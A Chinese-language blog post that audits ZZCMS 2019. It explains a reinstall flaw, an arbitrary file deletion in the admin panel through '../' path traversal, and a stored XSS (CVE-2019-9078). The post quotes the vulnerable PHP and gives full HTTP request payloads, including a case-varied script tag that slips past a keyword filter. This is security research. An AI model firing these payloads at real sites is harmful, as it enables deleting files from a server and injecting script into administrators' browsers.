CYH博客CYH博客

天行健,
君子以自强不息。

代码审计之ZZCMS2019版 XSS

ZZCMS2019版本代码审计记录

下载

官网下载http://www.zzcms.net/about/6.htm

重装漏洞

step1.php中会检测是否存在install.lock,存在则显示已经安装过,否则跳出判断,执行正常安装

<?phpif(file_exists("install.lock")){echo "<div style='padding:30px;'>安装向导已运行安装过,如需重安装,请删除 /install/install.lock 文件</div>";}else{?>


代码审计之ZZCMS2019版 XSS(图1)


但是该判断只在step1.php中存在,step2.php,step3.php,step4.php均不存在该代码


代码审计之ZZCMS2019版 XSS(图2)
step2.php


step3.php中设置了token,计算方式是:使用rand()生成一个随机数,然后以这个随机数作为前缀生成23位的唯一ID,然后再进行md5加密确保唯一性。

uniqid(prefix,more_entropy)函数基于以微秒计的当前时间,生成一个唯一的 ID。

如果 prefix参数为空,则返回的字符串有 13 个字符串长。如果 more_entropy参数设置为 true,则是 23 个字符串长。

如果more_entropy 参数设置为 true,则在返回值的末尾添加额外的熵(使用组合线形同余数生成程序),这样可以结果的唯一性更好。


代码审计之ZZCMS2019版 XSS(图3)
step3.php


index.php中定义了$step变量获取方法

<?php session_cache_limiter('private, must-revalidate');  //为了支持返回上一步页面回跳,//要放在session_start之前if(!isset($_SESSION)){session_start();} //error_reporting(0);//set_magic_quotes_runtime(0);//5.3后已不在支持include '../inc/config.php';include 'conn.php';if($_POST) extract($_POST, EXTR_SKIP);//把数组中的键名直接注册为了变量。就像把$_POST[ai]直接注册为了$ai。if($_GET) extract($_GET, EXTR_SKIP);$submit = isset($_POST['submit']) ? true : false;$step = isset($_POST['step']) ? $_POST['step'] : 1;

因此重装漏洞可以通过poststep值进行触发


代码审计之ZZCMS2019版 XSS(图4)


后台任意文件删除

前提:需要后台权限

漏洞位置:/admin/dl_data.php第12行开始

<?phpif (isset($_REQUEST['action'])) {
    $action = $_REQUEST['action'];} else {
    $action = "";}if ($action == "del") {
    $fp = "../dl_excel/" . $_GET["filename"];
    if (file_exists($fp)) {
        unlink($fp);
    } else {
        echo "<script>alert('请选择要删除的标签');history.back()</script>";
    }}?>

其中$_GET["filename"]直接get方式取得filename,没有经过过滤,导致可跨目录任意删除文件

Payload:

GET /admin/dl_data.php?action=del&filename=../robots.txt HTTP/1.1
Host: www.zzcms2019.cc
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36
DNT: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=pfaouuq82dnb11vske0ahqr7f2; admin=admin; pass=21232f297a57a5a743894a0e4a801fc3; tablename=zzcms_zsclass

访问后,根目录下的robots.txt已被删除

存储型XSS(CVE-2019-9078)

细读了下源码,发现在/user/ask.php中存在modify()函数,部分代码如下

get方法获取do参数

<?php$do=isset($_GET['do'])?$_GET['do']:'';switch ($do) {case "add":add();break;case "modify":modify();break;}

modify()函数

function modify(){
    global $username; ?><div class="admintitle">修改问答信息</div><?php$page = isset($_GET['page'])?$_GET['page']:1;
    checkid($page);
    $id = isset($_GET['id'])?$_GET['id']:0;
    checkid($id, 1);

    $sqlzx="select * from zzcms_ask where id='$id'";
    $rszx =query($sqlzx);
    $rowzx = fetch_array($rszx);
    if ($id<>0 && $rowzx["editor"]<>$username) {
        markit();
        showmsg('非法操作!警告:你的操作已被记录!小心封你的用户及IP!');
    } ?>

其中调用了存在问题的函数markit()

函数所在文件/inc/function.php

//$_SERVER['HTTP_REFERER'];//上页来源function markit(){
    $userip = $_SERVER["REMOTE_ADDR"];
    //$userip=getip();
    $url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    query("insert into zzcms_bad (username,ip,dose,sendtime)values('" . $_COOKIE["UserName"] . "','$userip','$url','" . date('Y-m-d H:i:s') . "')");}

其中的$url没有经过过滤,直接插入数据库,因此我们可以注册一个用户,访问 http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1,会出现


代码审计之ZZCMS2019版 XSS(图5)


这时我们可以用Burpsuite抓包,修改包体的URI路径为/user/ask.php?do=modify&page=1&id=1&aaa=<sCrIpT>alert(/xss/)</ScRiPt>

使用<sCrIpT>alert(/xss/)</ScRiPt>是因为在/inc/stopsqlin.php中有一段检测函数

<?php//主要针对在任何文件后加?%3Cscript%3E,即使文件中没有参数if (strpos($_SERVER['REQUEST_URI'],'script')!==false || strpos($_SERVER['REQUEST_URI'],'%26%2399%26%')!==false|| strpos($_SERVER['REQUEST_URI'],'%2F%3Cobject')!==false){die ("无效参数");//注意这里不能用js提示}


代码审计之ZZCMS2019版 XSS(图6)


完整包体如下

GET /user/ask.php?do=modify&page=1&id=1&aaa=<sCrIpT>alert(/xss/)</ScRiPt> HTTP/1.1
Host: www.zzcms2019.cc
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __tins__713776=%7B%22sid%22%3A%201551009070949%2C%20%22vd%22%3A%205%2C%20%22expires%22%3A%201551010962798%7D; __51cke__=; __51laig__=12; bdshare_firstime=1551002231060; PHPSESSID=8o9ms5t57q6dag7ofku75fn2j7; UserName=test; PassWord=e10adc3949ba59abbe56e057f20f883e
Connection: keep-alive
Upgrade-Insecure-Requests: 1

当管理员访问后台中的用户→用户不良操作记录


代码审计之ZZCMS2019版 XSS(图7)


即可触发


代码审计之ZZCMS2019版 XSS(图8)



未经允许不得转载:CYH博客 » 代码审计之ZZCMS2019版 XSS
分享到: 更多 (0)

CYH博客 带给你想要内容

联系我们